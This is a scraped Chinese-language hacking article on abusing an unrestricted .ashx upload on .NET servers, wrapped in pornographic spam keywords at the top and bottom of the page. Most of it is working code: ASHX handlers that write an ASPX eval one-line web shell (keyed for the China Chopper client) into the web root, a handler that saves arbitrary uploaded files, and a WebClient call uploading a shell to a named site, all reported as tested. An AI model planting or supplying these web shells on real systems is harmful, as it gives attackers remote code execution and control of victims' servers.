成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

揭穿黑客關于Ashx腳本寫aspx木馬的方法匯總

安全 黑客攻防 應用安全
.Net環(huán)境,上傳處未限制Ashx和Asmx,后者上傳無法運行,提示Asmx腳本只能在本地運行,于是打算先傳個Ashx腳本然后在當前目錄下生成Aspx文件(目標不能執(zhí)行Asp文件)。

.Net環(huán)境,上傳處未限制Ashx和Asmx,后者上傳無法運行,提示Asmx腳本只能在本地運行,于是打算先傳個Ashx腳本然后在當前目錄下生成Aspx文件(目標不能執(zhí)行Asp文件),網上找到如下Ashx代碼:

  1. <%@ WebHandler Language="C#" Class="Handler" %>   
  2.    
  3. using System;   
  4. using System.Web;   
  5. using System.IO;   
  6. public class Handler : IHttpHandler {   
  7.       
  8.     public void ProcessRequest (HttpContext context) {   
  9.         context.Response.ContentType = "text/plain";   
  10.            
  11.         StreamWriter file1File.CreateText(context.Server.MapPath("root.aspx"));   
  12.         file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>");   
  13.         file1.Flush();   
  14.         file1.Close();   
  15.            
  16.     }   
  17.    
  18.     public bool IsReusable {   
  19.         get {   
  20.             return false;   
  21.         }   
  22.     }   
  23.    
  24. }  

我將腳本中的Asp一句話改成菜刀的Aspx一句話~不過執(zhí)行的時候爆錯,說未知指令@Page。遂采用一下2種方式解決:

1,用String連接字符串

  1. <%@ WebHandler Language="C#" Class="Handler" %>   
  2.    
  3. using System;   
  4. using System.Web;   
  5. using System.IO;   
  6. public class Handler : IHttpHandler {   
  7.        
  8.     public void ProcessRequest (HttpContext context) {   
  9.         context.Response.ContentType = "text/plain";   
  10.         string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";   
  11.         StreamWriter file1File.CreateText(context.Server.MapPath("root.aspx"));   
  12.         file1.Write(show);   
  13.         file1.Flush();   
  14.         file1.Close();   
  15.            
  16.     }   
  17.    
  18.     public bool IsReusable {   
  19.         get {   
  20.             return false;   
  21.         }   
  22.     }   
  23.    
  24. }  

2.比較笨的方法,看代碼吧

  1. <%@ WebHandler Language="C#" Class="Uploader" %>   
  2. using System;   
  3. using System.IO;   
  4. using System.Web;      
  5.    
  6. public class Uploader : IHttpHandler   
  7. {   
  8.     public void ProcessRequest(HttpContext hc)   
  9.     {   
  10.         foreach (string fileKey in hc.Request.Files)   
  11.         {   
  12.             HttpPostedFile file = hc.Request.Files[fileKey];   
  13.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));   
  14.         }   
  15.     }      
  16.    
  17.     public bool IsReusable   
  18.     {   
  19.         get { return true; }   
  20.     }   
  21. }  

然后用VS建立WinForm程序~主函數里寫:

System.Net.WebClient myWebClient = new System.Net.WebClient();

myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx", "POST", "C:\\ma.aspx");

執(zhí)行就可以了~以上方法均測試成功~

責任編輯:藍雨淚 來源: 黑客x檔案
相關推薦

2011-03-14 10:19:43

2010-09-07 09:33:20

2009-06-26 16:05:51

云計算

2009-06-28 21:34:22

云計算IT虛擬機

2011-03-14 10:10:01

2010-09-08 16:00:31

2009-10-30 10:51:50

2010-08-24 11:54:46

2022-04-13 12:09:07

黑客木馬網絡攻擊

2018-03-06 14:00:44

超融合基礎架構

2010-09-08 15:50:15

2009-06-01 09:34:22

2023-08-15 14:09:38

DevOps開發(fā)人員運維

2018-10-14 15:37:27

機器學習數據算法

2019-11-07 23:48:12

shell腳本getopts

2010-09-03 11:35:50

2009-11-09 20:28:28

福布斯富豪榜黑客傳播木馬

2011-09-05 14:25:12

2009-08-27 17:57:54

2009-04-10 11:28:02

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 欧美日韩电影一区 | 国产精品精品视频一区二区三区 | 久久精品国产久精国产 | 福利视频一区二区 | 午夜丁香视频在线观看 | 欧美日产国产成人免费图片 | 国产精品视频免费观看 | 亚洲精品一区二区网址 | 九色在线观看 | 一级毛片视频在线 | 亚洲中字在线 | 一区二区三区在线免费观看 | 亚洲一区二区久久 | 九九热精品在线 | 免费观看一级特黄欧美大片 | 国产精品片 | h视频在线播放 | 久久专区 | 青青草原综合久久大伊人精品 | 91久久网站 | 一级片网站视频 | 伊人狼人影院 | 日韩欧美不卡 | 久草视频在线播放 | 欧美a区 | 99在线观看视频 | 精品久久一区 | 亚洲综合大片69999 | 精品久久久久久久久久久久久久 | 影音先锋欧美资源 | 激情a | 国产精品高 | 国产乱码高清区二区三区在线 | 欧美电影免费观看高清 | 国产精品揄拍一区二区 | 中国黄色在线视频 | 国产传媒视频在线观看 | 日韩精品免费 | 91精品国产91久久久久久最新 | 亚洲综合在线播放 | www.蜜桃av.com|